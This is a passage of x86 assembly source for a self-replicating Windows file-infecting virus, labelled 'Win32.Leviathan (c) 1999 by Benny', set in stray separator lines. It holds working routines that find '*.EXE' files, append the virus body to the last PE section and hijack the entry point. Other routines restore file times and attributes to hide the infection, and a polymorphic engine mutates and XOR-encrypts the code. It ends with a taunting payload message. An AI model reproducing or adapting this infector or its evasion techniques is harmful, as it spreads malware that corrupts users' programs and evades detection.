||
|
call [ebx + ddCreateFileA] ;open file
|
||
|
cdq
|
||
|
xor esi, esi
|
||
|
mov [ebx + hFile], eax
|
||
|
inc eax
|
||
|
je end_OpenFile
|
||
|
dec eax
|
||
|
|
||
|
push edx
|
||
|
push edi
|
||
|
push edx
|
||
|
mov dl, PAGE_READONLY
|
||
|
mov ecx, edi
|
||
|
jecxz $ + 4
|
||
|
shl dl, 1
|
||
|
push edx
|
||
|
push esi
|
||
|
push eax
|
||
|
call [ebx + ddCreateFileMappingA] ;create mapping of file
|
||
|
cdq
|
||
|
xchg eax, ecx
|
||
|
mov [ebx + hMapFile], ecx
|
||
|
jecxz end_OpenFile2
|
||
|
|
||
|
push edi
|
||
|
push edx
|
||
|
push edx
|
||
|
mov dl, FILE_MAP_READ
|
||
|
test edi, edi
|
||
|
je $ + 4
|
||
|
shr dl, 1
|
||
|
push edx
|
||
|
push ecx
|
||
|
call [ebx + ddMapViewOfFile] ;map file to address space
|
||
|
xchg eax, ecx
|
||
|
mov [ebx + lpFile], ecx
|
||
|
jecxz end_OpenFile3
|
||
|
xor eax, eax
|
||
|
jmp @e
|
||
|
|
||
|
end_OpenFile:
|
||
|
mov al, 2
|
||
|
@e: mov [ebx + nOpenFile_run], al
|
||
|
jmp open_susp
|
||
|
end_OpenFile2:
|
||
|
mov [ebx + nclose_param1], ecx
|
||
|
mov al, 1
|
||
|
lea edx, [ebx + nCloseFile_run]
|
||
|
mov [edx], al
|
||
|
nOpen_wait:
|
||
|
cmp [edx], al
|
||
|
je nOpen_wait
|
||
|
n17: xor eax, eax
|
||
|
inc eax
|
||
|
inc eax
|
||
|
mov [ebx + nOpenFile_run], al
|
||
|
jmp open_susp
|
||
|
end_OpenFile3:
|
||
|
inc ecx
|
||
|
jmp end_OpenFile2
|
||
|
Neuron_OpenFile EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_CloseFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_closefile:
|
||
|
mov ebx, delta_param
|
||
|
n18: xor eax, eax
|
||
|
close_susp:
|
||
|
cmp al, 123
|
||
|
nCloseFile_run = byte ptr $ - 1
|
||
|
je close_susp
|
||
|
cmp [ebx + nCloseFile_run], 11h ;quit ?
|
||
|
je ExitThread
|
||
|
|
||
|
mov ecx, 12345678h ;mode
|
||
|
nclose_param1 = dword ptr $ - 4
|
||
|
jecxz @10
|
||
|
cmp cl, 1
|
||
|
je @11
|
||
|
mov edi, 12345678h
|
||
|
nclose_param2 = dword ptr $ - 4
|
||
|
push [ebx + lpFile]
|
||
|
call [ebx + ddUnmapViewOfFile] ;unmap view of file
|
||
|
@11: push [ebx + hMapFile]
|
||
|
call [ebx + ddCloseHandle] ;close mapping object
|
||
|
test edi, edi
|
||
|
je @10
|
||
|
mov esi, [ebx + hFile]
|
||
|
n19: xor eax, eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push edi
|
||
|
push esi
|
||
|
call [ebx + ddSetFilePointer] ;set file pointer to EOF
|
||
|
push esi
|
||
|
call [ebx + ddSetEndOfFile] ;trucate file
|
||
|
@10: lea eax, [ebx + WFD.WFD_ftLastWriteTime]
|
||
|
push eax
|
||
|
lea eax, [ebx + WFD.WFD_ftLastAccessTime]
|
||
|
push eax
|
||
|
lea eax, [ebx + WFD.WFD_ftCreationTime]
|
||
|
push eax
|
||
|
push esi
|
||
|
call [ebx + ddSetFileTime] ;set back file time
|
||
|
push [ebx + hFile]
|
||
|
call [ebx + ddCloseHandle] ;close time
|
||
|
mov byte ptr [ebx + nCloseFile_run], 0
|
||
|
jmp n_closefile
|
||
|
Neuron_CloseFile EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_InfectFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_infectfile:
|
||
|
mov ebx, delta_param
|
||
|
|
||
|
n20: xor eax, eax
|
||
|
inf_susp:
|
||
|
cmp al, 123
|
||
|
nInfect_run = byte ptr $ - 1
|
||
|
je inf_susp
|
||
|
cmp [ebx + nInfect_run], 11h ;quit ?
|
||
|
je ExitThread
|
||
|
|
||
|
xor esi, esi
|
||
|
push esi
|
||
|
lea edi, [ebx + WFD.WFD_szFileName]
|
||
|
push edi
|
||
|
call [ebx + ddSetFileAttributesA] ;blank file attributes
|
||
|
t4: test eax, eax
|
||
|
je end_InfectFile
|
||
|
|
||
|
mov [ebx + nopen_param1], edi
|
||
|
mov [ebx + nopen_param2], esi
|
||
|
mov eax, [ebx + WFD.WFD_nFileSizeLow]
|
||
|
add eax, virus_end - Start + 5000
|
||
|
mov [ebx + nopen_param3], eax
|
||
|
|
||
|
lea edx, [ebx + nOpenFile_run] ;open file
|
||
|
n21: xor eax, eax
|
||
|
inc eax
|
||
|
mov [edx], al
|
||
|
inf_wait:
|
||
|
cmp [edx], al
|
||
|
je inf_wait
|
||
|
dec eax
|
||
|
dec eax
|
||
|
mov ecx, [ebx + lpFile]
|
||
|
cmp ecx, eax
|
||
|
je end_InfectFile
|
||
|
|
||
|
lea eax, [ebx + szGetModuleHandleA]
|
||
|
lea edx, [ebx + K32]
|
||
|
call GetProcAddressIT ;search for GMHA in IT
|
||
|
t5: test eax, eax
|
||
|
jne stoK32
|
||
|
|
||
|
lea eax, [ebx + szGetModuleHandleW]
|
||
|
call GetProcAddressIT ;search for GMHW in IT
|
||
|
t6: test eax, eax
|
||
|
je end_InfectClose
|
||
|
mov [ebx + MyGMHW], eax
|
||
|
n22: xor eax, eax
|
||
|
stoK32: mov [ebx + MyGMHA], eax
|
||
|
|
||
|
mov edx, [ebx + lpFile]
|
||
|
push edx
|
||
|
push edx
|
||
|
add edx, [edx.MZ_lfanew]
|
||
|
push ebp
|
||
|
|
||
|
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
|
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
|
||
|
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
|
||
|
mov edi, esi ;get LAST section
|
||
|
n23: xor eax, eax
|
||
|
push ecx
|
||
|
BSection:
|
||
|
cmp [edi.SH_PointerToRawData], eax
|
||
|
je NBiggest
|
||
|
mov ebp, ecx
|
||
|
mov eax, [edi.SH_PointerToRawData]
|
||
|
NBiggest:
|
||
|
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
|
||
|
loop BSection
|
||
|
pop ecx
|
||
|
sub ecx, ebp
|
||
|
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
|
||
|
add esi, eax
|
||
|
|
||
|
mov edi, dword ptr [esi.SH_SizeOfRawData]
|
||
|
mov eax, virtual_end - Start
|
||
|
push edi
|
||
|
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
|
||
|
push dword ptr [edi]
|
||
|
add [edi], eax
|
||
|
mov eax, [edi]
|
||
|
|
||
|
push edx
|
||
|
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
|
||
|
xor edx, edx
|
||
|
div ecx
|
||
|
xor edx, edx
|
||
|
inc eax
|
||
|
mul ecx
|
||
|
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
|
||
|
mov ecx, eax
|
||
|
pop edx
|
||
|
|
||
|
pop ebp
|
||
|
add ebp, [esi.SH_VirtualAddress]
|
||
|
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||
|
pop edi
|
||
|
push eax
|
||
|
mov eax, [ebx + EntryPoint]
|
||
|
pop [ebx + EntryPoint]
|
||
|
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebp
|
||
|
sub ecx, edi
|
||
|
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
|
||
|
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
|
||
|
|
||
|
pop ebp
|
||
|
pop edi
|
||
|
mov byte ptr [edi.MZ_res2], 1
|
||
|
add edi, [esi.SH_PointerToRawData]
|
||
|
add edi, [esi.SH_VirtualSize]
|
||
|
add edi, Start - virtual_end
|
||
|
lea esi, [ebx + buffer]
|
||
|
mov ecx, (virus_end - Start + 3) / 4
|
||
|
inc dword ptr [ebx + GenerationCount]
|
||
|
call Mutate
|
||
|
rep movsd ;copy virus
|
||
|
mov [ebx + EntryPoint], eax ;restore variable after copy stage
|
||
|
|
||
|
pop edx ;get start of MM-file
|
||
|
sub edi, edx ;calculate new size
|
||
|
jmp @30
|
||
|
|
||
|
end_InfectClose:
|
||
|
mov edi, [ebx + WFD.WFD_nFileSizeLow]
|
||
|
@30: mov byte ptr [ebx + nclose_param1], 2
|
||
|
mov [ebx + nclose_param2], edi ;close file
|
||
|
n24: xor eax, eax
|
||
|
inc eax
|
||
|
lea edx, [ebx + nCloseFile_run]
|
||
|
mov [edx], al
|
||
|
@40: cmp [edx], al
|
||
|
je @40
|
||
|
end_InfectFile:
|
||
|
push [ebx + WFD.WFD_dwFileAttributes]
|
||
|
lea edi, [ebx + WFD.WFD_szFileName]
|
||
|
push edi
|
||
|
call [ebx + ddSetFileAttributesA] ;set back file attributes
|
||
|
mov [ebx + nInfect_run], 0
|
||
|
jmp n_infectfile
|
||
|
Neuron_InfectFile EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Mutate Proc
|
||
|
pushad ;store all regs
|
||
|
|
||
|
|
||
|
;first stage will rebuild some instructions with others, that does same thing
|
||
|
; - this is part of polymorphism
|
||
|
;1) nulify eax register
|
||
|
|
||
|
_mut_: lea esi, [ebx + nPoints] ;start of address table
|
||
|
mutate: lodsd ;load first address
|
||
|
t7: test eax, eax
|
||
|
je next_mutate ;end ?
|
||
|
mut_jmp = dword ptr $ - 2
|
||
|
je end_mutate
|
||
|
mov edi, eax
|
||
|
add edi, ebx ;correct by delta offset
|
||
|
in al, 40h ;get pseudo-random number
|
||
|
and al, 2 ;truncate
|
||
|
je mut1
|
||
|
cmp al, 1
|
||
|
je mutate
|
||
|
|
||
|
mov ax, 0
|
||
|
org $ - 2
|
||
|
c1: xor eax, eax
|
||
|
jmp op_st1 ;rewrite with xor eax, eax opcode
|
||
|
mut1: mov ax, 0
|
||
|
org $ - 2
|
||
|
c2: sub eax, eax
|
||
|
op_st1: stosw
|
||
|
jmp mutate
|
||
|
|
||
|
next_mutate:
|
||
|
;2) test for eax
|
||
|
|
||
|
mov dword ptr [ebx + mutate - 4], offset tPoints
|
||
|
mov word ptr [ebx + mut_jmp], 9090h
|
||
|
mov word ptr [ebx + c1], 0
|
||
|
org $ - 2
|
||
|
test eax, eax
|
||
|
mov word ptr [ebx + c2], 0
|
||
|
org $ - 2
|
||
|
or eax, eax
|
||
|
jmp mutate
|
||
|
|
||
|
|
||
|
;this will crypt our body and insert some junk instructions randomly
|
||
|
end_mutate:
|
||
|
lodsd
|
||
|
test eax, eax
|
||
|
je _crypt_
|
||
|
xchg eax, edi
|
||
|
add edi, ebx
|
||
|
xor eax, eax
|
||
|
push esi
|
||
|
lea esi, [ebx + junx]
|
||
|
in al, 40h
|
||
|
and al, num_of_junx
|
||
|
add esi, eax
|
||
|
lodsb
|
||
|
pop esi
|
||
|
stosb
|
||
|
jmp end_mutate
|
||
|
|
||
|
_crypt_:
|
||
|
;generate pseudo-random key
|
||
|
in ax, 40h
|
||
|
shl eax, 16
|
||
|
in ax, 40h
|
||
|
xchg eax, edx
|
||
|
mov [ebx + key], edx
|
||
|
|
||
|
;copy decryptor
|
||
|
lea esi, [ebx + Start]
|
||
|
lea edi, [ebx + buffer]
|
||
|
mov ecx, encrypted - Start
|
||
|
rep movsb
|
||
|
|
||
|
;crypt body
|
||
|
mov ecx, (virus_end - encrypted + 3) / 4
|
||
|
crypt: lodsd
|
||
|
xor eax, edx
|
||
|
stosd
|
||
|
loop crypt
|
||
|
|
||
|
popad
|
||
|
ret
|
||
|
Mutate EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
EntryPoint dd offset ExitProcess - 400000h
|
||
|
|
||
|
;xor eax, eax
|
||
|
nPoints: irp Num, <1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24>
|
||
|
dd offset n&Num
|
||
|
endm
|
||
|
nCount = ($ - nPoints)/4
|
||
|
dd 0
|
||
|
|
||
|
;test eax, eax
|
||
|
tPoints: irp Num, <1,2,3,4,5,6,7>
|
||
|
dd offset t&Num
|
||
|
endm
|
||
|
tCount = ($ - tPoints)/4
|
||
|
dd 0
|
||
|
|
||
|
;junk address table
|
||
|
jPoints: irp Num, <1,2,3,4,5,6,7,8,9>
|
||
|
dd offset j&Num
|
||
|
endm
|
||
|
dd 0
|
||
|
|
||
|
junx: clc ;junk instructions
|
||
|
cmc
|
||
|
stc
|
||
|
nop
|
||
|
cld
|
||
|
std
|
||
|
lahf
|
||
|
cwde
|
||
|
cdq
|
||
|
inc eax
|
||
|
dec eax
|
||
|
inc edx
|
||
|
dec edx
|
||
|
num_of_junx = dword ptr $ - offset junx - 1
|
||
|
|
||
|
NumOfExecs dd ?
|
||
|
GenerationCount dd ?
|
||
|
|
||
|
StartOfNeurons:
|
||
|
dd offset Neuron_Debugger
|
||
|
dd offset Neuron_Find
|
||
|
dd offset Neuron_CheckFile
|
||
|
dd offset Neuron_OpenFile
|
||
|
dd offset Neuron_CloseFile
|
||
|
dd offset Neuron_InfectFile
|
||
|
dd offset Neuron_GetVersion
|
||
|
num_of_neurons = 7
|
||
|
|
||
|
szGetModuleHandleA db 'GetModuleHandleA', 0
|
||
|
szGetModuleHandleW db 'GetModuleHandleW', 0
|
||
|
|
||
|
szAPIs:
|
||
|
szCreateThread db 'CreateThread', 0
|
||
|
szExitThread db 'ExitThread', 0
|
||
|
szGetVersion db 'GetVersion', 0
|
||
|
szFindFirstFileA db 'FindFirstFileA', 0
|
||
|
szFindNextFileA db 'FindNextFileA', 0
|
||
|
szFindClose db 'FindClose', 0
|
||
|
szCreateFileA db 'CreateFileA', 0
|
||
|
szCreateFileMappingA db 'CreateFileMappingA', 0
|
||
|
szMapViewOfFile db 'MapViewOfFile', 0
|
||
|
szUnmapViewOfFile db 'UnmapViewOfFile', 0
|
||
|
szCloseHandle db 'CloseHandle', 0
|
||
|
szSetFilePointer db 'SetFilePointer', 0
|
||
|
szSetEndOfFile db 'SetEndOfFile', 0
|
||
|
szSetFileTime db 'SetFileTime', 0
|
||
|
szSetFileAttributesA db 'SetFileAttributesA', 0
|
||
|
szGetCurrentProcess db 'GetCurrentProcess', 0
|
||
|
szGetPriorityClass db 'GetPriorityClass', 0
|
||
|
szSetPriorityClass db 'SetPriorityClass', 0
|
||
|
szLoadLibraryA db 'LoadLibraryA', 0
|
||
|
szFreeLibrary db 'FreeLibrary', 0
|
||
|
db 0ffh
|
||
|
szIsDebuggerPresent db 'IsDebuggerPresent', 0
|
||
|
szMessageBoxA db 'MessageBoxA', 0
|
||
|
|
||
|
|
||
|
szExt db '*.EXE', 0
|
||
|
org $ - 1
|
||
|
JumpToHost db ?
|
||
|
|
||
|
|
||
|
szMsgTitle db 'Win32.Leviathan (c) 1999 by Benny', 0
|
||
|
szMsgText db 'Hey stupid !', 0dh, 0dh
|
||
|
db 'This is gonna be your nightmare...', 0dh
|
||
|
db '30th generation of Leviathan is here... beware of me !', 0dh
|
||
|
db 'Threads are stripped, ship is sinkin''...', 0dh, 0dh
|
||
|
db 'Greetz:'
|
||
|
db 09, 'Darkman/29A', 0dh
|
||
|
db 09, 'Super/29A', 0dh
|
||
|
db 09, 'Billy Belcebu/DDT', 0dh
|
||
|
db 09, 'and all other 29Aers...', 0dh, 0dh
|
||
|
db 'Special greet:', 0dh
|
||
|
db 09, 'Arthur Rimbaud', 0dh, 0dh
|
||
|
db 'New milenium is knockin on the door... ', 0dh
|
||
|
db 'New generation of viruses is here, nothing promised, no regret.', 0
|
||
|
|
||
|
virus_end:
|
||
|
_GetModuleHandleA dd offset GetModuleHandleA
|
||
|
_GetModuleHandleW dd offset GetModuleHandleW
|
||
|
|
||
|
ddAPIs:
|
||
|
ddCreateThread dd ?
|
||
|
ddExitThread dd ?
|
||
|
ddGetVersion dd ?
|
||
|
ddFindFirstFileA dd ?
|
||
|
ddFindNextFileA dd ?
|
||
|
ddFindClose dd ?
|
||
|
ddCreateFileA dd ?
|
||
|
ddCreateFileMappingA dd ?
|
||
|
ddMapViewOfFile dd ?
|
||
|
ddUnmapViewOfFile dd ?
|
||
|
ddCloseHandle dd ?
|
||
|
ddSetFilePointer dd ?
|
||
|
ddSetEndOfFile dd ?
|
||
|
ddSetFileTime dd ?
|
||
|
ddSetFileAttributesA dd ?
|
||
|
ddGetCurrentProcess dd ?
|
||
|
ddGetPriorityClass dd ?
|
||
|
ddSetPriorityClass dd ?
|
||
|
ddLoadLibraryA dd ?
|
||
|
ddFreeLibrary dd ?
|
||
|
|
||
|
ddThreadID dd ?
|
||
|
|
||
|
NHandles:
|
||
|
hNeuron_Debugger dd ?
|
||
|
hNeuron_Find dd ?
|
||
|
hNeuron_CheckFile dd ?
|
||
|
hNeuron_OpenFile dd ?
|
||
|
hNeuron_CloseFile dd ?
|
||
|
hNeuron_InfectFile dd ?
|
||
|
hNeuron_GetVersion dd ?
|
||
|
|
||
|
hFile dd ?
|
||
|
hMapFile dd ?
|
||
|
lpFile dd ?
|
||
|
|
||
|
K32Handle dd ?
|
||
|
SearchHandle dd ?
|
||
|
WFD WIN32_FIND_DATA ?
|
||
|
buffer db virus_end - Start dup (?)
|
||
|
virtual_end:
|
||
|
|
||
|
ends
|
||
|
End Start
|
||
|
|